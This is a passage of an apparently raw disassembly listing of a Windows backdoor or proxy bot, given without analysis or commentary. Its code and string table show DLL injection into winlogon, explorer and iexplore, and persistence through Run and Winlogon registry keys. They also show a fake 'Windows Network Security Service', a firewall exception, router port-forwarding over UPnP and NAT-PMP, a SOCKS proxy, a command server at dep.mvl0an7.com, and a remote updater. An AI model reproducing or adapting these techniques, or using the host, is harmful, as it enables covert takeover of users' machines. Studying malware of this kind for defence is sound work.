sub_44F2D1+47j mov ax, di movsx eax, ax jmp short loc_44F36B ; --------------------------------------------------------------------------- loc_44F327: ; CODE XREF: sub_44F2D1+1Bj test si, si jg short loc_44F33B push ebx call sub_44F6F1 pop ecx mov si, ax test ax, ax jg short loc_44F360 loc_44F33B: ; CODE XREF: sub_44F2D1+59j movzx eax, word ptr [ebx+6] and eax, 0FFFF800Fh or eax, 3FE0h mov [ebx+6], ax mov edx, [esp+0Ch+arg_0] mov ax, si sub ax, 3FEh mov [edx], ax or eax, 0FFFFFFFFh jmp short loc_44F36B ; --------------------------------------------------------------------------- loc_44F360: ; CODE XREF: sub_44F2D1+68j mov edx, [esp+0Ch+arg_0] mov word ptr [edx], 0 xor eax, eax loc_44F36B: ; CODE XREF: sub_44F2D1+54j ; sub_44F2D1+8Dj pop edi pop esi pop ebx retn sub_44F2D1 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44F371 proc near ; CODE XREF: sub_44E711+Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, [ebp+arg_0] movzx eax, word ptr [ebx+6] and eax, 7FF0h sar eax, 4 mov si, ax cmp si, 7FFh jnz short loc_44F3C6 test word ptr [ebx+6], 0Fh jnz short loc_44F3AF cmp word ptr [ebx+4], 0 jnz short loc_44F3AF cmp word ptr [ebx+2], 0 jnz short loc_44F3AF cmp word ptr [ebx], 0 jz short loc_44F3B6 loc_44F3AF: ; CODE XREF: sub_44F371+28j ; sub_44F371+2Fj ... mov edi, 2 jmp short loc_44F3BB ; --------------------------------------------------------------------------- loc_44F3B6: ; CODE XREF: sub_44F371+3Cj mov edi, 1 loc_44F3BB: ; CODE XREF: sub_44F371+43j mov ax, di movsx eax, ax jmp loc_44F57B ; --------------------------------------------------------------------------- loc_44F3C6: ; CODE XREF: sub_44F371+20j test si, si jnz short loc_44F3E1 push ebx call sub_44F6F1 pop ecx mov si, ax test ax, ax jle short loc_44F3E1 xor eax, eax jmp loc_44F57B ; --------------------------------------------------------------------------- loc_44F3E1: ; CODE XREF: sub_44F371+58j ; sub_44F371+67j movsx eax, si mov edx, [ebp+arg_4] add eax, edx mov [ebp+arg_4], eax cmp eax, 7FFh jl short loc_44F423 test word ptr [ebx+6], 8000h jz short loc_44F408 fld dbl_4119DC fchs fstp [ebp+var_8] jmp short loc_44F411 ; --------------------------------------------------------------------------- loc_44F408: ; CODE XREF: sub_44F371+88j fld dbl_4119DC fstp [ebp+var_8] loc_44F411: ; CODE XREF: sub_44F371+95j mov eax, [ebp+arg_0] fld [ebp+var_8] fstp qword ptr [eax] mov eax, 1 jmp loc_44F57B ; --------------------------------------------------------------------------- loc_44F423: ; CODE XREF: sub_44F371+80j cmp [ebp+arg_4], 0 jle short loc_44F449 movzx eax, word ptr [ebx+6] and eax, 0FFFF800Fh mov edx, [ebp+arg_4] movsx edx, dx shl edx, 4 or eax, edx mov [ebx+6], ax or eax, 0FFFFFFFFh jmp loc_44F57B ; --------------------------------------------------------------------------- loc_44F449: ; CODE XREF: sub_44F371+B6j mov ax, [ebx+6] and ax, 8000h mov word ptr [ebp+var_8+6], ax movzx eax, word ptr [ebx+6] and eax, 0Fh or eax, 10h mov [ebx+6], ax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax cmp eax, 0FFFFFFCCh jge short loc_44F48F mov ax, word ptr [ebp+var_8+6] mov [ebx+6], ax mov word ptr [ebx+4], 0 mov word ptr [ebx+2], 0 mov word ptr [ebx], 0 xor eax, eax jmp loc_44F57B ; --------------------------------------------------------------------------- loc_44F48F: ; CODE XREF: sub_44F371+FCj mov eax, [ebp+arg_4] mov word ptr [ebp+var_8+4], ax jmp short loc_44F4BA ; --------------------------------------------------------------------------- loc_44F498: ; CODE XREF: sub_44F371+14Ej mov ax, [ebx+2] mov [ebx], ax mov ax, [ebx+4] mov [ebx+2], ax mov ax, [ebx+6] mov [ebx+4], ax mov word ptr [ebx+6], 0 add word ptr [ebp+var_8+4], 10h loc_44F4BA: ; CODE XREF: sub_44F371+125j cmp word ptr [ebp+var_8+4], 0FFF0h jle short loc_44F498 movsx eax, word ptr [ebp+var_8+4] neg eax mov word ptr [ebp+var_8+4], ax test ax, ax jz loc_44F570 movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx] mov ecx, eax sar edx, cl mov dword ptr [ebp+var_8], edx movzx ecx, word ptr [ebx+2] mov [ebp+var_C], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_C] shl eax, cl mov edx, dword ptr [ebp+var_8] or edx, eax mov ax, dx mov [ebx], ax movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx+2] mov ecx, eax sar edx, cl mov [ebp+var_10], edx movzx ecx, word ptr [ebx+4] mov [ebp+var_14], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_14] shl eax, cl mov edx, [ebp+var_10] or edx, eax mov ax, dx mov [ebx+2], ax movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx+4] mov ecx, eax sar edx, cl mov [ebp+var_18], edx movzx ecx, word ptr [ebx+6] mov [ebp+var_1C], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_1C] shl eax, cl mov edx, [ebp+var_18] or edx, eax mov ax, dx mov [ebx+4], ax movzx eax, word ptr [ebx+6] movsx ecx, word ptr [ebp+var_8+4] sar eax, cl mov [ebx+6], ax loc_44F570: ; CODE XREF: sub_44F371+15Dj mov ax, word ptr [ebp+var_8+6] or [ebx+6], ax or eax, 0FFFFFFFFh loc_44F57B: ; CODE XREF: sub_44F371+50j ; sub_44F371+6Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44F371 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44F591 proc near ; CODE XREF: sub_44E791+409p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, ebx mov ecx, esi cdq idiv ecx mov [ebp+var_8], eax mov edx, esi imul edx, eax mov eax, ebx sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop esi pop ebx mov esp, ebp pop ebp retn sub_44F591 endp ; =============== S U B R O U T I N E ======================================= sub_44F5C1 proc near ; CODE XREF: sub_44F031+77p ; sub_44F031+E7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] movzx eax, byte ptr [edx+eax+4] mov esi, eax and esi, 80h cmp [esp+8+arg_4], 8000h jnz short loc_44F617 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] movzx edx, byte ptr [eax] and edx, 0FFFFFF7Fh mov [eax], dl jmp short loc_44F64E ; --------------------------------------------------------------------------- loc_44F617: ; CODE XREF: sub_44F5C1+2Fj cmp [esp+8+arg_4], 4000h jnz short loc_44F63E mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 80h jmp short loc_44F64E ; --------------------------------------------------------------------------- loc_44F63E: ; CODE XREF: sub_44F5C1+5Ej call sub_44A781 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp short loc_44F661 ; --------------------------------------------------------------------------- loc_44F64E: ; CODE XREF: sub_44F5C1+54j ; sub_44F5C1+7Bj test esi, esi setnz al and eax, 1 dec eax and eax, 4000h add eax, 4000h loc_44F661: ; CODE XREF: sub_44F5C1+8Bj pop esi pop ebx retn sub_44F5C1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] cmp ebx, dword_413A88 jnb short loc_44F69A mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44F6AA loc_44F69A: ; CODE XREF: DMN1:0044F67Dj call sub_44A781 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44F6CA ; --------------------------------------------------------------------------- loc_44F6AA: ; CODE XREF: DMN1:0044F698j push ebx call sub_44D061 pop ecx mov eax, [esp+10h] push eax push ebx call sub_44F5C1 add esp, 8 mov esi, eax push ebx call sub_44D0C1 pop ecx mov eax, esi loc_44F6CA: ; CODE XREF: DMN1:0044F6A8j pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= sub_44F6D1 proc near ; CODE XREF: sub_44F1E1+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ecx, [esp+4+arg_0] mov eax, [esp+4+arg_4] mov bl, al xor edx, edx loc_44F6DE: ; CODE XREF: sub_44F6D1+19j cmp [ecx], bl jnz short loc_44F6E4 mov edx, ecx loc_44F6E4: ; CODE XREF: sub_44F6D1+Fj cmp byte ptr [ecx], 0 jz short loc_44F6EC inc ecx jmp short loc_44F6DE ; --------------------------------------------------------------------------- loc_44F6EC: ; CODE XREF: sub_44F6D1+16j mov eax, edx pop ebx retn sub_44F6D1 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_44F6F1 proc near ; CODE XREF: sub_44F2D1+5Cp ; sub_44F371+5Bp arg_0 = dword ptr 4 push ebx push edi mov ecx, [esp+8+arg_0] mov ax, [ecx+6] mov di, ax and di, 8000h mov bx, 1 mov ax, [ecx+6] and ax, 0Fh mov [ecx+6], ax test ax, ax jnz short loc_44F730 cmp word ptr [ecx+4], 0 jnz short loc_44F730 cmp word ptr [ecx+2], 0 jnz short loc_44F730 cmp word ptr [ecx], 0 jz loc_44F7EA loc_44F730: ; CODE XREF: sub_44F6F1+25j ; sub_44F6F1+2Cj ... jmp short loc_44F752 ; --------------------------------------------------------------------------- loc_44F732: ; CODE XREF: sub_44F6F1+66j mov ax, [ecx+4] mov [ecx+6], ax mov ax, [ecx+2] mov [ecx+4], ax mov ax, [ecx] mov [ecx+2], ax mov word ptr [ecx], 0 sub bx, 10h loc_44F752: ; CODE XREF: sub_44F6F1:loc_44F730j cmp word ptr [ecx+6], 0 jz short loc_44F732 jmp short loc_44F798 ; --------------------------------------------------------------------------- loc_44F75B: ; CODE XREF: sub_44F6F1+ACj movzx eax, word ptr [ecx+6] add eax, eax movzx edx, word ptr [ecx+4] sar edx, 0Fh or eax, edx mov [ecx+6], ax movzx eax, word ptr [ecx+4] add eax, eax movzx edx, word ptr [ecx+2] sar edx, 0Fh or eax, edx mov [ecx+4], ax movzx eax, word ptr [ecx+2] add eax, eax movzx edx, word ptr [ecx] sar edx, 0Fh or eax, edx mov [ecx+2], ax shl word ptr [ecx], 1 dec bx loc_44F798: ; CODE XREF: sub_44F6F1+68j cmp word ptr [ecx+6], 10h jb short loc_44F75B jmp short loc_44F7DE ; --------------------------------------------------------------------------- loc_44F7A1: ; CODE XREF: sub_44F6F1+F2j movzx eax, word ptr [ecx] sar eax, 1 movzx edx, word ptr [ecx+2] shl edx, 0Fh or eax, edx mov [ecx], ax movzx eax, word ptr [ecx+2] sar eax, 1 movzx edx, word ptr [ecx+4] shl edx, 0Fh or eax, edx mov [ecx+2], ax movzx eax, word ptr [ecx+4] sar eax, 1 movzx edx, word ptr [ecx+6] shl edx, 0Fh or eax, edx mov [ecx+4], ax shr word ptr [ecx+6], 1 inc bx loc_44F7DE: ; CODE XREF: sub_44F6F1+AEj cmp word ptr [ecx+6], 20h jnb short loc_44F7A1 and word ptr [ecx+6], 0Fh loc_44F7EA: ; CODE XREF: sub_44F6F1+39j or [ecx+6], di movsx eax, bx pop edi pop ebx retn sub_44F6F1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44F801 proc near ; CODE XREF: sub_44A871+13p jmp dword_411DAC sub_44F801 endp ; --------------------------------------------------------------------------- align 4 dd 46h dup(0) dd 6E6F6400h, 0A2E65h aNotDaemonize_0 db 'not daemonized...',0Ah,0 aInitializing_0 db 'initializing service startup sequence...',0Ah,0 aServiceInsta_0 db 'service installed ok...',0Ah,0 aInstallingSe_1 db 'installing service...',0Ah,0 aRegisteredSe_2 db 'registered service is not running, unrest.',0Ah,0 aStartingServ_0 db 'starting service...',0Ah,0 aI_0 db '%i',0Ah,0 aInstallingSe_2 db 'installing service, res=',0 aRegisteredSe_3 db 'registered service is not running.',0Ah,0 aRegisteredSe_4 db 'registered service is here...',0Ah,0 aDonTRegister_0 db 'DON',27h,'T register it',0Ah,0 aRegisterItAn_0 db 'register it and restart',0Ah,0 aNoRegistered_0 db 'no registered service, ',0 aWaitingCompl_0 db '*** waiting complete...',0Ah,0 aWaiting____0 db '*** waiting...',0Ah,0 aRemovingS_0 db 'removing: <%s>',0Ah,0 aInitializing_1 db 'initializing winsock library...',0Ah,0 aCopyingFaile_0 db 'copying failed %%-(',0Ah,0 aCreateproces_0 db 'CreateProcess() failed %%-(',0Ah,0 aCmdlineS_0 db 'cmdline: <%s>',0Ah,0 aCopying____0 db 'copying...',0Ah,0 aNewSOldSSelf_0 db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0 aWaiting10Sec_0 db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0 aShutdownmute_0 db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0 aUpdate_1 db '*update',0 aInjectionthr_0 db 'InjectionThread complete',0Ah,0 aDllStopped___0 db 'DLL stopped...',0Ah,0 aDying_0 db 'dying',0Ah,0 aWaitingForDl_0 db 'waiting for <DLL dies> event...',0Ah,0 aWinlogon_exe_0 db 'winlogon.exe',0 aExplorer_exe_0 db 'explorer.exe',0 aIexplore_exe_0 db 'iexplore.exe',0 aOldDllFoundW_0 db 'old DLL found; waiting for <DLL dies> event...',0Ah,0 aTryingSWithS_0 db 'trying <%s> with <%s> failed',0Ah,0 aTryingSWithS_1 db 'trying <%s> with <%s>',0Ah,0 aDllInjected_0 db 'DLL injected!',0Ah,0 aThreadComple_0 db 'thread complete (%i).',0Ah,0 aThreadInject_0 db 'thread injected (%i).',0Ah,0 aProcessOpene_0 db 'process opened.',0Ah,0 aS_2 db '<%s>',0Ah,0 aWriteprocess_0 db 'WriteProcessMemory() ok',0Ah,0 aGetlasterror_1 db 'GetLastError',0 aExitthread_1 db 'ExitThread',0 aLoadlibrarya_0 db 'LoadLibraryA',0 aKernel32_dll_0 db 'kernel32.dll',0 aVirtualalloc_0 db 'VirtualAllocEx() ok',0Ah,0 aSedebugprivi_0 db 'SeDebugPrivilege',0 aDllNotExtrac_0 db 'DLL not extracted.',0Ah,0 aDllOkS_0 db 'DLL ok: <%s>',0Ah,0 aTryingDllS_0 db 'trying DLL: <%s>',0Ah,0 aDllFoundS_0 db ' DLL found: <%s>',0Ah,0 aCheckingDllS_0 db 'checking DLL: <%s>',0Ah,0 a000_tmp_0 db '000.tmp',0 aWnss__0 db 'wnss_',0 aOldDllS_0 db 'old DLL: <%s>',0Ah,0 aR_0 db 'r',0 aFileSWritten_0 db 'file <%s> written, wsz=%i',0Ah,0 aFileSCreated_0 db 'file <%s> created',0Ah,0 aFileSNotCrea_0 db 'file <%s> NOT created',0Ah,0 aWb_1 db 'wb+',0 aResourceHere_0 db 'resource here, size: %i',0Ah,0 a8001_0 db '#8001',0 aDlltestliste_3 db 'DLLTestListenThread: done...',0Ah,0 aDlltestliste_4 db 'DLLTestListenThread: accepting...',0Ah,0 aDlltestliste_5 db 'DLLTestListenThread: listening...',0Ah,0 aDlltestliste_6 db 'DLLTestListenThread: binding...',0Ah,0 aDlltestthrea_0 db 'DLLTestThread: pulsing...',0Ah,0 db '**',0 aServicefixer_0 db 'ServiceFixerThread started.',0Ah,0 db '" ',0 aRegisterserv_1 db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0 aSetservicest_3 db 'SetServiceStatus(): stopped',0Ah,0 aSetservicest_4 db 'SetServiceStatus(): running',0Ah,0 aSetservicest_5 db 'SetServiceStatus(): start pending',0Ah,0 aServicectrld_0 db 'ServiceCtrlDispatcher()',0Ah,0 aWaitingForSt_0 db 'WAITING FOR STOP EVENT!',0Ah,0 aEventCreaton_0 db 'EVENT CREATON ERROR: %i',0Ah,0 aEventCreated_0 db 'EVENT CREATED.',0Ah,0 aWritingToHkc_0 db 'writing to HKCU/autorun key...',0Ah,0 aSoftwareMicr_3 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 aWritingToHkl_0 db 'writing to HKLM/autorun key...',0Ah,0 db '*',0 aLoad_0 db 'load',0 aSoftwareMicr_4 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0 db ',',0 aUserinit_0 db 'Userinit',0 aSoftwareMicr_5 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0 aStartupprogr_0 db 'StartupPrograms',0 aSystemCurren_2 db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0 aRegreadCanTR_0 db 'RegRead(): can',27h,'t read key %s',0Ah,0 aRegreadReadI_0 db 'RegRead(): read %i bytes from %s (%s)',0Ah,0 aRegreadOpene_0 db 'RegRead(): opened %s',0Ah,0 a8fc4ddd4C51e_0 db '{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}',0 aDescription_0 db 'Description',0 aDisplayname_0 db 'DisplayName',0 aLocalsystem_0 db 'LocalSystem',0 aObjectname_0 db 'ObjectName',0 aErrorcontrol_0 db 'ErrorControl',0 aStart_0 db 'Start',0 aType_0 db 'Type',0 aImagepath_0 db 'ImagePath',0 aSystemCurren_3 db 'SYSTEM\CurrentControlSet\Services\',0 aProvidesNetw_0 db 'Provides network security options for system administrators. Thi' db 's service can not be stopped.',0 aServiceRegis_0 db 'service registered',0Ah,0 aWnss_0 db 'wnss',0 aStartingComm_0 db 'starting COMM thread...',0Ah,0 aNatpmpForwar_0 db 'NATPMP: forwarded to: %i',0Ah,0 aSocksPortI_0 db 'SOCKS port: %i',0Ah,0 aCanTBindList_0 db 'can',27h,'t bind listen socket!',0Ah,0 aListener____0 db 'listener...',0Ah,0 aInternalprog_0 db 'InternalProgramData',0 aSoftwareMicr_6 db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0 aConnectionCl_0 db 'connection closed.',0Ah,0 aDataExchange_0 db 'data exchange complete',0Ah,0 aTransferring_0 db 'transferring data...',0Ah,0 aConnectedToS_0 db 'connected to %s:%i',0Ah,0 aConnectionTo_0 db 'connection to %s:%i failed! %-( (%i)',0Ah,0 aConnectingTo_0 db 'connecting to %s:%i',0Ah,0 aSocksVIS_0 db 'socks v%i [%s]',0Ah,0 aConnectionRe_0 db 'connection rejected (from [%s])',0Ah,0 aConnectionFr_0 db 'connection from [%s]',0Ah,0 a_win32__wnss_1 db '_win32__wnss_um__',0 aSystem_0 db 'SYSTEM',0 db 0Dh,' ',0Dh,0 aISecondsLeft_0 db 0Dh,'%i seconds left ',8,8,8,'.',0 aSrvWaitingIS_0 db 'Srv: waiting %i seconds...',0Ah,0 aSrvcommthrea_0 db 'SrvCommThread: done',0Ah,0 aSrvStartingUpd db 'SRV: starting updater...',0Ah,0 aSrvUpgradeS db 'SRV: UPGRADE <%s>',0Ah,0 aSrvIplist db 'SRV: IPLIST',0Ah,0 aSrvBye db 'SRV: BYE',0Ah,0 aSrvAckReject_1 db 'SRV: ACK rejected IPs failed',0Ah,0 aSrvAckReject_2 db 'SRV: ACK rejected IPs',0Ah,0 aSrvSendingRe_0 db 'SRV: sending rejected IPs failed',0Ah,0 aSrvSendingRe_1 db '* SRV: sending rejected IPs',0Ah,0 aSrvAckHandsh_0 db 'SRV: ACK handshacking failed',0Ah,0 aSrvAckHandsh_1 db 'SRV: ACK handshacking',0Ah,0 aSrvHandshaki_1 db 'SRV: handshaking failed.',0Ah,0 aSrvRip?I_0 db 'SRV: rip? %i',0Ah,0 aSrvHandshaki_2 db 'SRV: handshaking...',0Ah,0 aSrvConnectin_0 db 'SRV: connecting failed.',0Ah,0 aSrvConnectin_1 db 'SRV: connecting...',0Ah,0 aSrvSI_0 db 'SRV: [%s:%i]',0Ah,0 aMyPortI_0 db 'my port [%i]',0Ah,0 aDep_mvl0an7__0 db 'dep.mvl0an7.com',0 aAuthorizedIp_0 db 'authorized IP #%i [%s]',0Ah,0 aRunningSS____0 db 'running %s (%s)...',0Dh,0Ah,0 db '" "',0 aUpdate_2 db '*update "',0 aMsssx_0 db 'msssx',0 aDownloadedTo_0 db 'downloaded to: <%s>',0Ah,0 aMsss_0 db 'msss',0 aUpdateUrlS_0 db 'UPDATE URL: <%s>',0Ah,0 aDownloadedSS_0 db 'downloaded [%s] --> %s',0Dh,0Ah,0 aDownloadedFa_0 db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0 aDownloadingS_0 db 'downloading [%s] --> %s',0Dh,0Ah,0 aFopenS____0 db 'fopen(%s)...',0Ah,0 aWb_2 db 'wb',0 aInternetopen_1 db 'InternetOpenUrl(): %i',0Ah,0 aInternetopen_2 db 'InternetOpen(): %i',0Ah,0 aMsdownloader_0 db 'msdownloader',0 db ' ',0 aCWindowsSyst_0 db 'C:\WINDOWS\system32\wnss.exe',0 db '"',0 a_win32__wnss_2 db '_win32__wnss_sm__',0 a_win32__wnss_3 db '_win32__wnss_sdm__',0 aNatPmpReques_2 db 'NAT-PMP request #%i - port: [%i]',0Ah,0 aNatPmpFwdReq_0 db 'NAT-PMP fwd request #%i - ok',0Ah,0 aReceivingNat_1 db 'receiving NAT-PMP fwd request #%i...',0Ah,0 aSetsockoptNa_1 db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0 aSendingNatPm_0 db 'sending NAT-PMP fwd request #%i...',0Ah,0 aRouterIpS_0 db 'router ip: [%s]',0Ah,0 aNatPmpReques_3 db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0 aNatPmpReques_4 db 'NAT-PMP request #%i - ok',0Ah,0 aReceivingNat_2 db 'receiving NAT-PMP request #%i...',0Ah,0 aSetsockoptNa_2 db 'setsockopt NAT-PMP request #%i...',0Ah,0 aSendingNatPm_1 db 'sending NAT-PMP request #%i...',0Ah,0 aDefaultGatew_0 db 'default gateway: [%s]',0Ah,0 aIupnpDiscove_5 db 'IUPnP discovery request #%i: ok.',0Ah,0 aControlurl_0 db '<controlURL>',0 aService_1 db '</service>',0 aService_2 db '<service>',0 aUrnSchemasUp_0 db 'urn:schemas-upnp-org:service:WANIPConnection:1',0 aIupnpDiscove_6 db 'IUPnP discovery request #%i: bad (3)...',0Ah,0 aLocationS_0 db 'location: <%s>',0Ah,0 aIupnpDiscove_7 db 'IUPnP discovery request #%i: bad (2)...',0Ah,0 aIupnpDiscove_8 db 'IUPnP discovery request #%i: bad (1)...',0Ah,0 aLocation_0 db 'location',0 aIupnpDiscove_9 db 'IUPnP discovery request #%i: bad (0)...',0Ah,0 aSchemasUpnpO_0 db 'schemas-upnp-org:service:WANIPConnection:1',0 aIupnpDiscov_10 db 'IUPnP discovery request #%i -- checking...',0Ah,0 aReceivingIup_0 db 'receiving IUPnP discovery request #%i...',0Ah,0 aSetsockoptIu_0 db 'setsockopt IUPnP discovery request #%i...',0Ah,0 aMSearchHttp1_0 db 'M-SEARCH * HTTP/1.1',0Dh,0Ah db 'Host: 239.255.255.250:1900',0Dh,0Ah db 'ST: upnp:rootdevice',0Dh,0Ah db 'Man: "ssdp:discover"',0Dh,0Ah db 'MX: 3',0Dh,0Ah db 0Dh,0Ah,0 aSendingIupnp_0 db 'sending IUPnP discovery request #%i...',0Ah,0 aXbind____0 db 'xbind...',0Ah,0 aShit_0 db 'shit!',0Ah,0 a239_255_255__0 db '239.255.255.250',0 aHttpAddmapRe_2 db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0 aHttpAddmapRe_3 db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0 aHttpAddmapRe_4 db 'HTTP AddMap request: [%s:%i]...',0Ah,0 aPostSHttp1_1_0 db 'POST %s HTTP/1.1',0Dh,0Ah db 'HOST: %s:%i',0Dh,0Ah db 'CONTENT-LENGTH: %i',0Dh,0Ah db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo' db 'rtMapping"',0Dh,0Ah db 0Dh,0Ah,0 aMPostSHttp1__0 db 'M-POST %s HTTP/1.1',0Dh,0Ah db 'HOST: %s:%i',0Dh,0Ah db 'CONTENT-LENGTH: %i',0Dh,0Ah db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo' db 'rtMapping"',0Dh,0Ah db 0Dh,0Ah,0 aSEnvelopeXml_0 db '<s:Envelope',0Dh,0Ah db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah db '<s:Body>',0Dh,0Ah db '<u:AddPortMapping',0Dh,0Ah db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah db '<NewEnabled>1</NewEnabled>',0Dh,0Ah db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri' db 'ption>',0Dh,0Ah db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah db '</u:AddPortMapping>',0Dh,0Ah db '</s:Body>',0Dh,0Ah db '</s:Envelope>',0 a200_0 db '200',0 db 0Ah,0 aHttpDiscover_1 db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0 aGetSHttp1_1H_0 db 'GET %s HTTP/1.1',0Dh,0Ah db 'HOST: %s:%i',0Dh,0Ah db 'ACCEPT-LANGUAGE: en',0Dh,0Ah db 0Dh,0Ah,0 aHttpDiscover_2 db 'HTTP discovery request: [%s:%i]...',0Ah,0 aHttp_0 db 'http://',0 a__0 db '.',0 a6ea9b038C801_0 db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0 aSystemCurren_4 db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal' db 'lPolicy\StandardProfile\AuthorizedApplications\List',0 aWindowsNetwo_0 db 'Windows Network Security Service',0 aEnabled_0 db ':*:Enabled:',0 aHandshakeBad_0 db 'Handshake: bad version (%i)',0Ah,0 aHandshakeBad_1 db 'Handshake: bad packed (%i)',0Ah,0 aHandshakeRec_0 db 'Handshake: recv() error',0Ah,0 aProtorecvDat_0 db 'protorecv(): data size: %i (of %i)',0Ah,0 aPktrecvPacke_0 db 'PktRecv(): packetId: 0x%03x',0Ah,0 aPktrecvInval_0 db 'PktRecv(): invalid signature (%i)',0Ah,0 aPktsendIIByt_0 db 'PktSend(%i): %i bytes',0Ah,0 aSIsS_0 db '%s is %s',0Ah,0 aWinsock2_xIn_0 db 'WinSock 2.x initialized.',0Ah,0 aWinsock1_1In_0 db 'WinSock 1.1 initialized.',0Ah,0 aA_0 db 'a',0 aPm_0 db 'PM',0 aAm_0 db 'AM',0 a02i02i02iIII_0 db '%02i/%02i/%02i %i:%i:%i%s',0 aS_3 db '%s',0 align 4 dd 0FFFFFF00h, 0FFh, 40721A00h, 0FFFFFF00h, 0FFh, 40741B00h dd 0FFFFFF00h, 0FFh, 40751E00h, 0FFFFFF00h, 0FFh, 40766D00h dd 0FFFFFF00h, 407988FFh, 4079A300h, 0FFFFFF00h, 0FFh dd 407B1D00h, 0FFFFFF00h, 407C45FFh, 407C6000h, 400000h dd 0FFFFFF00h, 0FFh, 4082BE00h, 4083EC00h, 4083A200h, 2 dup(4083D200h) dd 5 dup(4083A200h), 4083DF00h, 4083A200h, 2 dup(4083B200h) dd 40842000h, 4083D200h, 4083F900h, 3 dup(4083C200h), 4083A200h dd 40841300h, 3 dup(4083A200h), 4083B200h, 4083D200h, 40844700h dd 4083B200h, 10h dup(4083D200h), 4083A200h, 4083D200h dd 10h dup(4083A200h), 4083B200h, 0Bh dup(4083A200h), 4083D200h dd 4083A200h, 4083B200h, 4083D200h, 40843A00h, 2 dup(4083A200h) dd 40842D00h, 4083A200h, 4083F900h, 2 dup(40840600h), 4083F900h dd 4083A200h, 4083D200h, 4083EC00h, 4 dup(4083A200h), 0Fh dup(40841300h) dd 3 dup(4083A200h), 4083B200h, 8 dup(4083A200h), 4083DF00h dd 2D2B2000h, 3023h, 100h, 200h, 400h, 800h, 1000h, 0 dd 6C6A6800h, 4C7A74h, 4E4F4300h, 244E49h, 4F4E4F43h, 245455h dd 0 dd 0FFFFFF00h, 0FFh, 14h dup(0) dd 10001002h, 3 dup(10001000h), 30013000h, 30003000h, 10003000h dd 8 dup(10001000h), 40001000h, 7 